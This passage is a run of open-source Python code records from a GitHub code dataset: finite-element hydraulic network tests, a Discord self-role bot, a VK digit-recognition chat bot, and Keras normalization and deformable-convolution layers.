ClausesStatistic(tag='tag', avg_word_count=99)\n\n self.assertEqual(stat.to_dict(),\n {'tag': 'tag', 'avg_word_count': 99})\n\n def test_no_avg_word_count_given(self):\n incomp_stat = ClausesStatistic(tag='tag_incomp')\n\n self.assertEqual(incomp_stat.to_dict(),\n {'tag': 'tag_incomp', 'avg_word_count': False})\n\n def test_avg_word_count(self):\n stat1 = ClausesStatistic(tag='tag1')\n stat1.set_avgwordcount(['1 2', '1 2 3', '1 2 3 4'])\n \n self.assertEqual(stat1.avg_word_count, 3)\n","repo_name":"mei-chen/beagle","sub_path":"Dogbone/clauses_statistics/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"70787754605","text":"import networkx as nx\nfrom fenics import *\nimport sys\n\nsys.path.append(\"../\")\nset_log_level(40)\nfrom graphnics import *\n\n\ndef test_mass_conservation():\n \"\"\"\n Test mass conservation of dual hydraulic network model at bifurcation points\n \"\"\"\n\n tests = {\n \"Graph line\": line_graph(3, dim=3),\n \"Y bifurcation\": Y_bifurcation(),\n \"YY bifurcation\": YY_bifurcation(),\n \"honeycomb\": honeycomb(4, 4),\n }\n\n for test_name in tests:\n G = tests[test_name]\n\n G.make_mesh(5)\n G.make_submeshes()\n \n prop_dict = {\n key: {\"Res\": Constant(1), \"Ainv\": Constant(1)}\n for key in list(G.edges.keys())\n }\n nx.set_edge_attributes(G, prop_dict)\n\n model = MixedHydraulicNetwork(G, p_bc=Expression(\"x[0]\", degree=2))\n\n W = model.W\n a = model.a_form()\n L = model.L_form()\n\n A, b = map(ii_assemble, (a, L))\n A, b = map(ii_convert, (A, b))\n\n qp = ii_Function(W)\n solver = LUSolver(A, \"mumps\")\n solver.solve(qp.vector(), b)\n\n edge_list = list(G.edges.keys())\n\n for b in G.bifurcation_ixs:\n total_flux = 0\n\n # make info dict of edges connected to this bifurcation\n conn_edges = {\n **{e: (1, BIF_IN, edge_list.index(e)) for e in G.in_edges(b)},\n **{e: (-1, BIF_OUT, edge_list.index(e)) for e in G.out_edges(b)},\n }\n\n for e in conn_edges:\n sign, tag, e_ix = conn_edges[e]\n total_flux += sign * qp[e_ix](G.nodes[b][\"pos\"])\n\n assert near(\n total_flux, 1e-3, 2e-3\n ), f\"Mass is not conserved at bifurcation {b} for {test_name}\"\n\n\ndef test_hydraulic_network():\n \"\"\"\n Test mixed hydraulic network model against simple manufactured solution on Y bifurcation\n \"\"\"\n\n G = Y_bifurcation()\n G.make_mesh(6)\n \n model = HydraulicNetwork(G, p_bc = Expression('-x[1]', degree=2))\n q, p = model.solve()\n \n # Check mass conservation\n assert near(q(0,0), q(0.5, 1)+q(-0.5, 1), 1e-3)\n\n # Check that pressure bcs were applied\n assert near(p(0,0), 0)\n assert near(p(0.5, 1), -1)\n \n\n\ndef hydraulic_manufactured_solution(G, Ainv, Res):\n '''\n Make manufactured solution for hydraulic network model\n Rq + \\nabla p = g\n \\nabla\\cdot q = f\n \n Args:\n G (networkx graph): graph to solve on\n Ainv (float): inverse of cross sectional area\n Res (float): resistance\n \n Returns:\n f, q, p, g: ufl functions for the manufactured solution\n t: time variable\n '''\n\n xx = SpatialCoordinate(G.mesh)\n \n # some nice manufactured solution\n q = sin(2*3.14*xx[0])\n p = cos(2*3.14*xx[0])\n \n g = Res*q + G.dds(p)\n f = G.dds(q)\n \n return f, q, p, g\n \n \ndef test_mixed_hydraulic():\n \"\"\"'\n Test mixed hydraulic model against manufacture solution on single edge graph\n We eliminate the viscous term so that we can use hydraulic network model\n \"\"\"\n\n \n # We check with parameters that are not one\n Ainv = 0.0\n Res = 1\n\n # Solve on graph with single edge\n G = line_graph(2, dx=2)\n G.make_mesh(8)\n G.make_submeshes()\n \n f, q, p, g = hydraulic_manufactured_solution(G, Ainv, Res)\n\n p = project(p, FunctionSpace(G.mesh, \"CG\", 2))\n \n prop_dict = {\n key: {\"Res\": Constant(Res), \"Ainv\": Constant(Ainv)}\n for key in list(G.edges.keys())\n }\n nx.set_edge_attributes(G, prop_dict)\n\n model = MixedHydraulicNetwork(G, f=f, g=g, p_bc=p)\n sol = model.solve()\n print(sol)\n qh, ph = sol\n\n # Compute errors\n pa = project(p, FunctionSpace(G.mesh, \"CG\", 2))\n p_error = errornorm(ph, pa)\n\n qa = project(q, FunctionSpace(G.mesh, \"CG\", 3))\n q_error = errornorm(qh, qa)\n \n assert q_error < 1e-2, f\"Mixed hydraulic model not giving correct flux, q_error = {q_error}\"\n assert p_error < 1e-1, f\"Mixed hydraulic model not giving correct pressure, p_error = {p_error}\"\n \n \n \ndef test_hydraulic():\n \"\"\"'\n Test model against manufacture solution on single edge graph\n We eliminate the viscous term so that we can use hydraulic network model\n \"\"\"\n \n # We check with parameters that are not one\n Ainv = 0.0\n Res = 1\n\n # Solve on graph with single edge\n G = line_graph(2, dx=2)\n G.make_mesh(10)\n \n f, q, p, g = hydraulic_manufactured_solution(G, Ainv, Res)\n\n p = project(p, FunctionSpace(G.mesh, \"CG\", 2))\n \n model = HydraulicNetwork(G, f=f, g=g, p_bc=p)\n sol = model.solve()\n print(sol)\n qh, ph = sol\n\n # Compute and print errors\n pa = project(p, FunctionSpace(G.mesh, \"CG\", 2))\n p_error = errornorm(ph, pa)\n\n qa = project(q, FunctionSpace(G.mesh, \"CG\", 3))\n q_error = errornorm(qh, qa)\n \n assert q_error < 1e-2, f\"Hydraulic model not giving correct flux, q_error = {q_error}\"\n assert p_error < 1e-4, f\"Hydraulic model not giving correct pressure, p_error = {p_error}\"\n\n\n\nif __name__ == \"__main__\":\n test_mixed_hydraulic()\n test_hydraulic()\n","repo_name":"IngeborgGjerde/graphnics","sub_path":"tests/test_flow_models.py","file_name":"test_flow_models.py","file_ext":"py","file_size_in_byte":5119,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"19"} +{"seq_id":"70227268844","text":"import re\nimport discord\nfrom discord.ext import commands\nfrom discord.utils import get\n\n\nclass SelfRole(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command(brief='This is the brief description', description='1')\n async def selfrole(self, ctx, *args):\n if(len(args) == 0):\n return\n\n message_id = args[0]\n self.bot.database.set_selfrole_messageid(\n ctx.message.guild.id, int(message_id))\n await ctx.send(f'Voce definiu a mensagem com id {message_id} para self role')\n\n @commands.command(brief='This is the brief description', description='1')\n async def disableselfrole(self, ctx, *args):\n self.bot.database.disable_selfrole(\n ctx.message.guild.id)\n await ctx.send(f'Voce desativou o self role')\n\n @commands.command(brief='Associar emojis com cargos', description='Comando para adicionar associar emojis com cargos', usage=\" \")\n async def setrole(self, ctx, *args):\n message_id = self.bot.database.get_selfrole_messageid(\n ctx.message.guild.id)\n\n if(message_id is None):\n await ctx.send(\"Voce nao possui uma mensagem configurada para self role\")\n return\n\n if len(args) < 2:\n await ctx.send('Informe .setrole ')\n return\n\n selfrole_message = await ctx.fetch_message(message_id)\n\n role_id = self.bot.filterid(args[0])\n\n self.bot.database.save_emoji_role(\n ctx.message.guild.id, args[1], role_id)\n await selfrole_message.add_reaction(args[1])\n await ctx.send(f'Voce associou o emoji {args[1]} ao cargo de {args[0]}')\n\n @commands.Cog.listener()\n async def on_raw_reaction_add(self, payload):\n message_id = self.bot.database.get_selfrole_messageid(\n payload.guild_id)\n\n if(message_id is None):\n return\n\n if int(message_id) == int(payload.message_id):\n role_id = self.bot.database.get_role_from_emoji(\n payload.guild_id, payload.emoji.name)\n\n guild = await self.bot.fetch_guild(int(payload.guild_id))\n role = discord.utils.get(guild.roles, id=role_id)\n await payload.member.add_roles(role)\n\n @commands.Cog.listener()\n async def on_raw_reaction_remove(self, payload):\n message_id = self.bot.database.get_selfrole_messageid(\n payload.guild_id)\n\n if(message_id is None):\n return\n\n if int(message_id) == int(payload.message_id):\n role_id = self.bot.database.get_role_from_emoji(\n payload.guild_id, payload.emoji.name)\n\n guild = await self.bot.fetch_guild(int(payload.guild_id))\n member = await guild.fetch_member(int(payload.user_id))\n role = discord.utils.get(guild.roles, id=role_id)\n await member.remove_roles(role)\n\n\ndef setup(bot):\n bot.add_cog(SelfRole(bot))\n","repo_name":"GabrielTBeserra/JosephBot","sub_path":"modules/auto/self_role.py","file_name":"self_role.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"22278911320","text":"import urllib.request\nimport bot as robbot\nfrom Image import Image\nimport time\nimport numpy\n\n\ndef pool(bot):\n sleep_count = 0\n while True:\n messages = bot.get_unanswered_messages(20)\n if messages[\"count\"] > 0:\n # if we just got a message our bot wont sleep for a long time to get another one\n sleep = 1\n sleep_count = 0\n from_id = messages[\"items\"][0][\"last_message\"][\"from_id\"]\n body = messages[\"items\"][0][\"last_message\"][\"text\"]\n print(body)\n\n if 'msg:' in body.lower():\n msg = body[5:]\n robbot.Voice.say(msg)\n bot.send_text_message(from_id, \"ok\")\n time.sleep(sleep)\n continue\n\n if 'num:' in body.lower():\n try:\n label = int(body[4:].strip(' '))\n image.save_image(network, label, update_even_if_exists=False)\n bot.send_photo_message(from_id, [f'img_num_10/{label}.png'])\n time.sleep(sleep)\n continue\n except Exception as e:\n raise e\n\n image_url = None\n try:\n image_url = messages[\"items\"][0][\"last_message\"][\"attachments\"][0]['photo']['sizes'][0]['url']\n image_name = 'images/'+str(messages[\"items\"][0][\"last_message\"][\"attachments\"][0]['photo']['id'])+'.png'\n except IndexError:\n bot.default_message(from_id)\n\n if image_url:\n urllib.request.urlretrieve(image_url, image_name)\n\n data = image.prepare_image(image_name)\n outputs = network.query(data)\n label = numpy.argmax(outputs)\n\n bot.send_text_message(from_id, f\"Это цифра {label}\")\n else:\n # if no one writes to us, then we can sleep a little longer\n sleep_count += 1\n sleep = 5 if sleep_count == 10 else 1\n time.sleep(sleep)\n\n\ndef main():\n global network\n global image\n network = robbot.neuralNetwork.load_network()\n image = Image()\n bot = robbot.Vk(robbot.config['vk']['token'], lang='ru')\n pool(bot)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"tamkovich/Neural-Network-for-Bot","sub_path":"apppool.py","file_name":"apppool.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"19531821280","text":"\r\n\r\nimport tensorflow as tf\r\nfrom keras import backend as K\r\nfrom keras.layers import InputSpec, Layer, ZeroPadding2D\r\nfrom keras import initializers, constraints, regularizers\r\n\r\n\r\nclass InstanceNormalization(Layer):\r\n \"\"\"Instance normalization layer.\r\n Normalize the activations of the previous layer at each step,\r\n i.e. applies a transformation that maintains the mean activation\r\n close to 0 and the activation standard deviation close to 1.\r\n # Arguments\r\n axis: Integer, the axis that should be normalized\r\n (typically the features axis).\r\n For instance, after a `Conv2D` layer with\r\n `data_format=\"channels_first\"`,\r\n set `axis=1` in `InstanceNormalization`.\r\n Setting `axis=None` will normalize all values in each\r\n instance of the batch.\r\n Axis 0 is the batch dimension. `axis` cannot be set to 0 to avoid errors.\r\n epsilon: Small float added to variance to avoid dividing by zero.\r\n center: If True, add offset of `beta` to normalized tensor.\r\n If False, `beta` is ignored.\r\n scale: If True, multiply by `gamma`.\r\n If False, `gamma` is not used.\r\n When the next layer is linear (also e.g. `nn.relu`),\r\n this can be disabled since the scaling\r\n will be done by the next layer.\r\n beta_initializer: Initializer for the beta weight.\r\n gamma_initializer: Initializer for the gamma weight.\r\n beta_regularizer: Optional regularizer for the beta weight.\r\n gamma_regularizer: Optional regularizer for the gamma weight.\r\n beta_constraint: Optional constraint for the beta weight.\r\n gamma_constraint: Optional constraint for the gamma weight.\r\n # Input shape\r\n Arbitrary. Use the keyword argument `input_shape`\r\n (tuple of integers, does not include the samples axis)\r\n when using this layer as the first layer in a Sequential model.\r\n # Output shape\r\n Same shape as input.\r\n # References\r\n - [Layer Normalization](https://arxiv.org/abs/1607.06450)\r\n - [Instance Normalization: The Missing Ingredient for Fast Stylization](\r\n https://arxiv.org/abs/1607.08022)\r\n \"\"\"\r\n\r\n def __init__(self,\r\n axis=None,\r\n epsilon=1e-3,\r\n center=True,\r\n scale=True,\r\n beta_initializer='zeros',\r\n gamma_initializer='ones',\r\n beta_regularizer=None,\r\n gamma_regularizer=None,\r\n beta_constraint=None,\r\n gamma_constraint=None,\r\n **kwargs):\r\n super(InstanceNormalization, self).__init__(**kwargs)\r\n self.supports_masking = True\r\n self.axis = axis\r\n self.epsilon = epsilon\r\n self.center = center\r\n self.scale = scale\r\n self.beta_initializer = initializers.get(beta_initializer)\r\n self.gamma_initializer = initializers.get(gamma_initializer)\r\n self.beta_regularizer = regularizers.get(beta_regularizer)\r\n self.gamma_regularizer = regularizers.get(gamma_regularizer)\r\n self.beta_constraint = constraints.get(beta_constraint)\r\n self.gamma_constraint = constraints.get(gamma_constraint)\r\n\r\n def build(self, input_shape):\r\n ndim = len(input_shape)\r\n if self.axis == 0:\r\n raise ValueError('Axis cannot be zero')\r\n\r\n if (self.axis is not None) and (ndim == 2):\r\n raise ValueError('Cannot specify axis for rank 1 tensor')\r\n\r\n self.input_spec = InputSpec(ndim=ndim)\r\n\r\n if self.axis is None:\r\n shape = (1,)\r\n else:\r\n shape = (input_shape[self.axis],)\r\n\r\n if self.scale:\r\n self.gamma = self.add_weight(shape=shape,\r\n name='gamma',\r\n initializer=self.gamma_initializer,\r\n regularizer=self.gamma_regularizer,\r\n constraint=self.gamma_constraint)\r\n else:\r\n self.gamma = None\r\n if self.center:\r\n self.beta = self.add_weight(shape=shape,\r\n name='beta',\r\n initializer=self.beta_initializer,\r\n regularizer=self.beta_regularizer,\r\n constraint=self.beta_constraint)\r\n else:\r\n self.beta = None\r\n self.built = True\r\n\r\n def call(self, inputs, training=None):\r\n input_shape = K.int_shape(inputs)\r\n reduction_axes = list(range(0, len(input_shape)))\r\n\r\n if self.axis is not None:\r\n del reduction_axes[self.axis]\r\n\r\n del reduction_axes[0]\r\n\r\n mean = K.mean(inputs, reduction_axes, keepdims=True)\r\n stddev = K.std(inputs, reduction_axes, keepdims=True) + self.epsilon\r\n normed = (inputs - mean) / stddev\r\n\r\n broadcast_shape = [1] * len(input_shape)\r\n if self.axis is not None:\r\n broadcast_shape[self.axis] = input_shape[self.axis]\r\n\r\n if self.scale:\r\n broadcast_gamma = K.reshape(self.gamma, broadcast_shape)\r\n normed = normed * broadcast_gamma\r\n if self.center:\r\n broadcast_beta = K.reshape(self.beta, broadcast_shape)\r\n normed = normed + broadcast_beta\r\n return normed\r\n\r\n def get_config(self):\r\n config = {\r\n 'axis': self.axis,\r\n 'epsilon': self.epsilon,\r\n 'center': self.center,\r\n 'scale': self.scale,\r\n 'beta_initializer': initializers.serialize(self.beta_initializer),\r\n 'gamma_initializer': initializers.serialize(self.gamma_initializer),\r\n 'beta_regularizer': regularizers.serialize(self.beta_regularizer),\r\n 'gamma_regularizer': regularizers.serialize(self.gamma_regularizer),\r\n 'beta_constraint': constraints.serialize(self.beta_constraint),\r\n 'gamma_constraint': constraints.serialize(self.gamma_constraint)\r\n }\r\n base_config = super(InstanceNormalization, self).get_config()\r\n return dict(list(base_config.items()) + list(config.items()))\r\n\r\n\r\nclass LayerNormalization(Layer):\r\n\r\n def __init__(self,\r\n center=True,\r\n scale=True,\r\n epsilon=None,\r\n gamma_initializer='ones',\r\n beta_initializer='zeros',\r\n gamma_regularizer=None,\r\n beta_regularizer=None,\r\n gamma_constraint=None,\r\n beta_constraint=None,\r\n **kwargs):\r\n \"\"\"Layer normalization layer\r\n\r\n See: [Layer Normalization](https://arxiv.org/pdf/1607.06450.pdf)\r\n\r\n :param center: Add an offset parameter if it is True.\r\n :param scale: Add a scale parameter if it is True.\r\n :param epsilon: Epsilon for calculating variance.\r\n :param gamma_initializer: Initializer for the gamma weight.\r\n :param beta_initializer: Initializer for the beta weight.\r\n :param gamma_regularizer: Optional regularizer for the gamma weight.\r\n :param beta_regularizer: Optional regularizer for the beta weight.\r\n :param gamma_constraint: Optional constraint for the gamma weight.\r\n :param beta_constraint: Optional constraint for the beta weight.\r\n :param kwargs:\r\n \"\"\"\r\n super(LayerNormalization, self).__init__(**kwargs)\r\n self.supports_masking = True\r\n self.center = center\r\n self.scale = scale\r\n if epsilon is None:\r\n epsilon = K.epsilon() * K.epsilon()\r\n self.epsilon = epsilon\r\n self.gamma_initializer = initializers.get(gamma_initializer)\r\n self.beta_initializer = initializers.get(beta_initializer)\r\n self.gamma_regularizer = regularizers.get(gamma_regularizer)\r\n self.beta_regularizer = regularizers.get(beta_regularizer)\r\n self.gamma_constraint = constraints.get(gamma_constraint)\r\n self.beta_constraint = constraints.get(beta_constraint)\r\n self.gamma, self.beta = None, None\r\n\r\n def get_config(self):\r\n config = {\r\n 'center': self.center,\r\n 'scale': self.scale,\r\n 'epsilon': self.epsilon,\r\n 'gamma_initializer': initializers.serialize(self.gamma_initializer),\r\n 'beta_initializer': initializers.serialize(self.beta_initializer),\r\n 'gamma_regularizer': regularizers.serialize(self.gamma_regularizer),\r\n 'beta_regularizer': regularizers.serialize(self.beta_regularizer),\r\n 'gamma_constraint': constraints.serialize(self.gamma_constraint),\r\n 'beta_constraint': constraints.serialize(self.beta_constraint),\r\n }\r\n base_config = super(LayerNormalization, self).get_config()\r\n return dict(list(base_config.items()) + list(config.items()))\r\n\r\n def compute_output_shape(self, input_shape):\r\n return input_shape\r\n\r\n def compute_mask(self, inputs, input_mask=None):\r\n return input_mask\r\n\r\n def build(self, input_shape):\r\n shape = input_shape[-1:]\r\n if self.scale:\r\n self.gamma = self.add_weight(\r\n shape=shape,\r\n initializer=self.gamma_initializer,\r\n regularizer=self.gamma_regularizer,\r\n constraint=self.gamma_constraint,\r\n name='gamma',\r\n )\r\n if self.center:\r\n self.beta = self.add_weight(\r\n shape=shape,\r\n initializer=self.beta_initializer,\r\n regularizer=self.beta_regularizer,\r\n constraint=self.beta_constraint,\r\n name='beta',\r\n )\r\n super(LayerNormalization, self).build(input_shape)\r\n\r\n def call(self, inputs, **kwargs):\r\n mean = K.mean(inputs, axis=-1, keepdims=True)\r\n variance = K.mean(K.square(inputs - mean), axis=-1, keepdims=True)\r\n std = K.sqrt(variance + self.epsilon)\r\n outputs = (inputs - mean) / std\r\n if self.scale:\r\n outputs *= self.gamma\r\n if self.center:\r\n outputs += self.beta\r\n return outputs\r\n\r\n\r\nclass DCNv2(Layer):\r\n def __init__(self,\r\n input_dim,\r\n filters,\r\n filter_size,\r\n stride=1,\r\n padding=0,\r\n bias_attr=False,\r\n distribution='normal',\r\n gain=1,\r\n name=''):\r\n super(DCNv2, self).__init__()\r\n assert distribution in ['uniform', 'normal']\r\n self.input_dim = input_dim\r\n self.filters = filters\r\n self.filter_size = filter_size\r\n self.stride = stride\r\n self.padding = padding\r\n self.bias_attr = bias_attr\r\n\r\n self.conv_offset_padding = ZeroPadding2D(padding=((1, 0), (1, 0)))\r\n self.zero_padding = ZeroPadding2D(padding=((padding, padding+1), (padding, padding+1)))\r\n\r\n def build(self, input_shape):\r\n input_dim = self.input_dim\r\n filters = self.filters\r\n filter_size = self.filter_size\r\n bias_attr = self.bias_attr\r\n self.offset_w = self.add_weight('offset_w', shape=[filter_size, filter_size, input_dim, filter_size * filter_size * 3], initializer='zeros')\r\n self.offset_b = self.add_weight('offset_b', shape=[1, 1, 1, filter_size * filter_size * 3], initializer='zeros')\r\n self.dcn_weight = self.add_weight('dcn_weight', shape=[filters, input_dim, filter_size, filter_size], initializer='uniform')\r\n self.dcn_bias = None\r\n if bias_attr:\r\n self.dcn_bias = self.add_weight('dcn_bias', shape=[filters, ], initializer='zeros')\r\n\r\n def compute_output_shape(self, input_shape):\r\n filters = self.filters\r\n batch, w, h = input_shape[:3]\r\n w = (w - self.filter_size + 2 * self.padding) // self.stride + 1\r\n h = (h - self.filter_size + 2 * self.padding) // self.stride + 1\r\n return (batch, w, h, filters)\r\n\r\n def call(self, inputs, **kwargs):\r\n filter_size = self.filter_size\r\n stride = self.stride\r\n padding = self.padding\r\n dcn_weight = self.dcn_weight\r\n dcn_bias = self.dcn_bias\r\n\r\n # 当filter_size = 3, stride = 2, padding = 1时, 设置padding2 = 'valid',K.conv2d层前加一个self.conv_offset_padding\r\n # 当filter_size = 3, stride = 1, padding = 1时, 设置padding2 = 'same',K.conv2d层前不用加一个self.conv_offset_padding\r\n # 无论什么条件,self.zero_padding层都是必须要加的。\r\n if stride == 2:\r\n temp = self.conv_offset_padding(inputs)\r\n else:\r\n temp = inputs\r\n padding2 = None\r\n if stride == 2:\r\n padding2 = 'valid'\r\n else:\r\n padding2 = 'same'\r\n offset_mask = K.conv2d(temp, self.offset_w, strides=(stride, stride), padding=padding2)\r\n offset_mask += self.offset_b\r\n\r\n offset_mask = tf.transpose(offset_mask, [0, 3, 1, 2])\r\n offset = offset_mask[:, :filter_size ** 2 * 2, :, :]\r\n mask = offset_mask[:, filter_size ** 2 * 2:, :, :]\r\n mask = tf.nn.sigmoid(mask)\r\n\r\n # ===================================\r\n N = tf.shape(inputs)[0]\r\n H = tf.shape(inputs)[1]\r\n W = tf.shape(inputs)[2]\r\n out_C = tf.shape(dcn_weight)[0]\r\n in_C = tf.shape(dcn_weight)[1]\r\n kH = tf.shape(dcn_weight)[2]\r\n kW = tf.shape(dcn_weight)[3]\r\n W_f = tf.cast(W, tf.float32)\r\n H_f = tf.cast(H, tf.float32)\r\n kW_f = tf.cast(kW, tf.float32)\r\n kH_f = tf.cast(kH, tf.float32)\r\n\r\n out_W = (W_f + 2 * padding - (kW_f - 1)) // stride\r\n out_H = (H_f + 2 * padding - (kH_f - 1)) // stride\r\n out_W = tf.cast(out_W, tf.int32)\r\n out_H = tf.cast(out_H, tf.int32)\r\n out_W_f = tf.cast(out_W, tf.float32)\r\n out_H_f = tf.cast(out_H, tf.float32)\r\n\r\n # 1.先对图片x填充得到填充后的图片pad_x\r\n pad_x = self.zero_padding(inputs)\r\n pad_x = tf.transpose(pad_x, [0, 3, 1, 2])\r\n\r\n # 卷积核中心点在pad_x中的位置\r\n rows = tf.range(out_W_f, dtype=tf.float32) * stride + padding\r\n cols = tf.range(out_H_f, dtype=tf.float32) * stride + padding\r\n rows = tf.tile(rows[tf.newaxis, tf.newaxis, :, tf.newaxis, tf.newaxis], [1, out_H, 1, 1, 1])\r\n cols = tf.tile(cols[tf.newaxis, :, tf.newaxis, tf.newaxis, tf.newaxis], [1, 1, out_W, 1, 1])\r\n start_pos_yx = tf.concat([cols, rows], axis=-1) # [1, out_H, out_W, 1, 2] 仅仅是卷积核中心点在pad_x中的位置\r\n start_pos_yx = tf.tile(start_pos_yx, [N, 1, 1, kH * kW, 1]) # [N, out_H, out_W, kH*kW, 2] 仅仅是卷积核中心点在pad_x中的位置\r\n start_pos_y = start_pos_yx[:, :, :, :, :1] # [N, out_H, out_W, kH*kW, 1] 仅仅是卷积核中心点在pad_x中的位置\r\n start_pos_x = start_pos_yx[:, :, :, :, 1:] # [N, out_H, out_W, kH*kW, 1] 仅仅是卷积核中心点在pad_x中的位置\r\n\r\n # 卷积核内部的偏移\r\n half_W = (kW_f - 1) / 2\r\n half_H = (kH_f - 1) / 2\r\n rows2 = tf.range(kW_f, dtype=tf.float32) - half_W\r\n cols2 = tf.range(kH_f, dtype=tf.float32) - half_H\r\n rows2 = tf.tile(rows2[tf.newaxis, :, tf.newaxis], [kH, 1, 1])\r\n cols2 = tf.tile(cols2[:, tf.newaxis, tf.newaxis], [1, kW, 1])\r\n filter_inner_offset_yx = tf.concat([cols2, rows2], axis=-1) # [kH, kW, 2] 卷积核内部的偏移\r\n filter_inner_offset_yx = tf.reshape(filter_inner_offset_yx, (1, 1, 1, kH * kW, 2)) # [1, 1, 1, kH*kW, 2] 卷积核内部的偏移\r\n filter_inner_offset_yx = tf.tile(filter_inner_offset_yx, [N, out_H, out_W, 1, 1]) # [N, out_H, out_W, kH*kW, 2] 卷积核内部的偏移\r\n filter_inner_offset_y = filter_inner_offset_yx[:, :, :, :, :1] # [N, out_H, out_W, kH*kW, 1] 卷积核内部的偏移\r\n filter_inner_offset_x = filter_inner_offset_yx[:, :, :, :, 1:] # [N, out_H, out_W, kH*kW, 1] 卷积核内部的偏移\r\n\r\n mask = tf.transpose(mask, [0, 2, 3, 1]) # [N, out_H, out_W, kH*kW*1]\r\n offset = tf.transpose(offset, [0, 2, 3, 1]) # [N, out_H, out_W, kH*kW*2]\r\n offset_yx = tf.reshape(offset, (N, out_H, out_W, kH * kW, 2)) # [N, out_H, out_W, kH*kW, 2]\r\n offset_y = offset_yx[:, :, :, :, :1] # [N, out_H, out_W, kH*kW, 1]\r\n offset_x = offset_yx[:, :, :, :, 1:] # [N, out_H, out_W, kH*kW, 1]\r\n\r\n # 最终位置\r\n pos_y = start_pos_y + filter_inner_offset_y + offset_y # [N, out_H, out_W, kH*kW, 1]\r\n pos_x = start_pos_x + filter_inner_offset_x + offset_x # [N, out_H, out_W, kH*kW, 1]\r\n pos_y = tf.maximum(pos_y, 0.0)\r\n pos_y = tf.minimum(pos_y, H_f + padding * 2 - 1.0)\r\n pos_x = tf.maximum(pos_x, 0.0)\r\n pos_x = tf.minimum(pos_x, W_f + padding * 2 - 1.0)\r\n ytxt = tf.concat([pos_y, pos_x], -1) # [N, out_H, out_W, kH*kW, 2]\r\n\r\n pad_x = tf.transpose(pad_x, [0, 2, 3, 1]) # [N, pad_x_H, pad_x_W, C]\r\n\r\n mask = tf.reshape(mask, (N, out_H, out_W, kH, kW)) # [N, out_H, out_W, kH, kW]\r\n\r\n def _process_sample(args):\r\n _pad_x, _mask, _ytxt = args\r\n # _pad_x: [pad_x_H, pad_x_W, in_C]\r\n # _mask: [out_H, out_W, kH, kW]\r\n # _ytxt: [out_H, out_W, kH*kW, 2]\r\n\r\n _ytxt = tf.reshape(_ytxt, (out_H * out_W * kH * kW, 2)) # [out_H*out_W*kH*kW, 2]\r\n _yt = _ytxt[:, :1]\r\n _xt = _ytxt[:, 1:]\r\n _y1 = tf.floor(_yt)\r\n _x1 = tf.floor(_xt)\r\n _y2 = _y1 + 1.0\r\n _x2 = _x1 + 1.0\r\n _y1x1 = tf.concat([_y1, _x1], -1)\r\n _y1x2 = tf.concat([_y1, _x2], -1)\r\n _y2x1 = tf.concat([_y2, _x1], -1)\r\n _y2x2 = tf.concat([_y2, _x2], -1)\r\n\r\n _y1x1_int = tf.cast(_y1x1, tf.int32) # [out_H*out_W*kH*kW, 2]\r\n v1 = tf.gather_nd(_pad_x, _y1x1_int) # [out_H*out_W*kH*kW, in_C]\r\n _y1x2_int = tf.cast(_y1x2, tf.int32) # [out_H*out_W*kH*kW, 2]\r\n v2 = tf.gather_nd(_pad_x, _y1x2_int) # [out_H*out_W*kH*kW, in_C]\r\n _y2x1_int = tf.cast(_y2x1, tf.int32) # [out_H*out_W*kH*kW, 2]\r\n v3 = tf.gather_nd(_pad_x, _y2x1_int) # [out_H*out_W*kH*kW, in_C]\r\n _y2x2_int = tf.cast(_y2x2, tf.int32) # [out_H*out_W*kH*kW, 2]\r\n v4 = tf.gather_nd(_pad_x, _y2x2_int) # [out_H*out_W*kH*kW, in_C]\r\n\r\n lh = _yt - _y1 # [out_H*out_W*kH*kW, 1]\r\n lw = _xt - _x1\r\n hh = 1 - lh\r\n hw = 1 - lw\r\n w1 = hh * hw\r\n w2 = hh * lw\r\n w3 = lh * hw\r\n w4 = lh * lw\r\n value = w1 * v1 + w2 * v2 + w3 * v3 + w4 * v4 # [out_H*out_W*kH*kW, in_C]\r\n _mask = tf.reshape(_mask, (out_H * out_W * kH * kW, 1))\r\n value = value * _mask\r\n value = tf.reshape(value, (out_H, out_W, kH, kW, in_C))\r\n value = tf.transpose(value, [0, 1, 4, 2, 3]) # [out_H, out_W, in_C, kH, kW]\r\n return value\r\n\r\n # 旧的方案,使用逐元素相乘,慢!\r\n # new_x = tf.map_fn(_process_sample, [pad_x, mask, ytxt], dtype=tf.float32) # [N, out_H, out_W, in_C, kH, kW]\r\n # new_x = tf.reshape(new_x, (N, out_H, out_W, in_C * kH * kW)) # [N, out_H, out_W, in_C * kH * kW]\r\n # new_x = tf.transpose(new_x, [0, 3, 1, 2]) # [N, in_C*kH*kW, out_H, out_W]\r\n # exp_new_x = tf.reshape(new_x, (N, 1, in_C*kH*kW, out_H, out_W)) # 增加1维,[N, 1, in_C*kH*kW, out_H, out_W]\r\n # reshape_w = tf.reshape(dcn_weight, (1, out_C, in_C * kH * kW, 1, 1)) # [1, out_C, in_C*kH*kW, 1, 1]\r\n # out = exp_new_x * reshape_w # 逐元素相乘,[N, out_C, in_C*kH*kW, out_H, out_W]\r\n # out = tf.reduce_sum(out, axis=[2, ]) # 第2维求和,[N, out_C, out_H, out_W]\r\n # out = tf.transpose(out, [0, 2, 3, 1])\r\n\r\n # 新的方案,用等价的1x1卷积代替逐元素相乘,快!\r\n new_x = tf.map_fn(_process_sample, [pad_x, mask, ytxt], dtype=tf.float32) # [N, out_H, out_W, in_C, kH, kW]\r\n new_x = tf.reshape(new_x, (N, out_H, out_W, in_C * kH * kW)) # [N, out_H, out_W, in_C * kH * kW]\r\n tw = tf.transpose(dcn_weight, [1, 2, 3, 0]) # [out_C, in_C, kH, kW] -> [in_C, kH, kW, out_C]\r\n tw = tf.reshape(tw, (1, 1, in_C*kH*kW, out_C)) # [1, 1, in_C*kH*kW, out_C] 变成1x1卷积核\r\n out = K.conv2d(new_x, tw, strides=(1, 1), padding='valid') # [N, out_H, out_W, out_C]\r\n return out\r\n\r\n\r\nclass DepthWiseCorr(Layer):\r\n \"\"\"\r\n Limited by Keras and Tensorflow,\r\n the 